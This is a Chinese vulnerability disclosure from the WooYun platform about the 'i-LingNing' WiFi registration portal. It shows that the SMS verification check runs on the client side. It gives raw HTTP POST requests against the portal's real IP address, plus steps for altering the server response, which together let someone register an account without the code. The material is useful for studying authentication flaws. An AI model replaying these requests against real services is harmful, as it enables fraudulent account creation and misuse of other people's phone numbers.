漏洞详情

披露状态:

2014-02-24: 细节已通知厂商并且等待厂商处理中
2014-03-01: 厂商已经确认,细节仅向厂商公开
2014-03-11: 细节向核心白帽子及相关领域专家公开
2014-03-21: 细节向普通白帽子公开
2014-03-31: 细节向实习白帽子公开
2014-04-10: 细节向公众公开

简要描述:

宾馆网速实在是无法忍受,无线连接i-LingNing后精彩出现了!

详细说明:

由中国移动通信辽宁分公司版权所有的“爱辽宁”WIFI热点在辽宁省全省热点10925个,辽宁省移动联通电信用户注册后即可赠送免费20小时上网,在注册验证过程中存在逻辑错误等问题!

1.正常用户在注册申请后,手机收取到6位数字密码,经过验证可以进行暴力破解。

2.无需输入正确的验证码即可绕过验证直接注册账户。仅对此处进行证明!

漏洞证明:

第一步:获取验证码

1.PNG



POST数据如下

POST /portal/SendRegisterValidateMSGForward.do HTTP/1.1

Host: 211.137.33.147:8088

User-Agent: Mozilla/5.0 (X11; Linux i686; rv:22.0) Gecko/20100101 Firefox/22.0 Iceweasel/22.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Referer: http://211.137.33.147:8088/portal/iLN/pcterminal/default/page/login.jsp

Content-Length: 34

Cookie: JSESSIONID=37EC5F447D69FDFDC8A5B658ABE61C83; notNewUserPcCookie=notNewUserPcCookie

Connection: keep-alive

Pragma: no-cache

Cache-Control: no-cache



operType=1&service_num=13700001111



第二步:输入一个六位随机验证码并修改服务器响应数据,将返回数据“error”替换为“success”

2.PNG



3.PNG



4.PNG



第三步:网页脚本已经判断验证码正确了,这时输入密码点击注册

5.PNG



6.PNG



7.PNG



8.PNG



至此已经成功在没有使用手机用户13700001111接收到的验证码情况下成功注册账户,获赠20小时WIFI使用权。

9.PNG





下面我们简化一下流程,直接POST数据注册账户



第一步:post发送短信验证码的数据

POST /portal/SendRegisterValidateMSGForward.do HTTP/1.1

Host: 211.137.33.147:8088

User-Agent: Mozilla/5.0 (X11; Linux i686; rv:22.0) Gecko/20100101 Firefox/22.0 Iceweasel/22.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Referer: http://211.137.33.147:8088/portal/iLN/pcterminal/default/page/login.jsp

Content-Length: 35

Cookie: JSESSIONID=C506ABFD1C5FAD0870213C3A312CF570; notNewUserPcCookie=notNewUserPcCookie

Connection: keep-alive

Pragma: no-cache

Cache-Control: no-cache



operType=1&service_num=13700002222



11.PNG





第二步:将服务器响应的Set-Cookie里面的JSESSIONID值E726774DECBC27E121BF5BAE2C17B5BE复制下来

继续POST

POST /portal/RegisterForward.do HTTP/1.1

Host: 211.137.33.147:8088

User-Agent: Mozilla/5.0 (X11; Linux i686; rv:22.0) Gecko/20100101 Firefox/22.0 Iceweasel/22.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Referer: http://211.137.33.147:8088/portal/iLN/pcterminal/default/page/login.jsp

Content-Length: 59

Cookie: JSESSIONID=E726774DECBC27E121BF5BAE2C17B5BE; notNewUserPcCookie=notNewUserPcCookie

Connection: keep-alive

Pragma: no-cache

Cache-Control: no-cache



operType=1&service_num=13700002222&confirm_password=111111



看,我们成功了

12.PNG







问题分析:

验证手机验证码是在本地进行的是漏洞最根本的原因!

修复方案:

版权声明:转载请注明来源 10457793@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2014-03-01 11:25

厂商回复:

CNVD未能直接在北京网内复现,已经转由CNCERT下发给辽宁分中心,与http:///bugs/wooyun-2014-一并直接交由辽宁分中心协调当地运营商处置。

最新状态:

暂无


漏洞评价: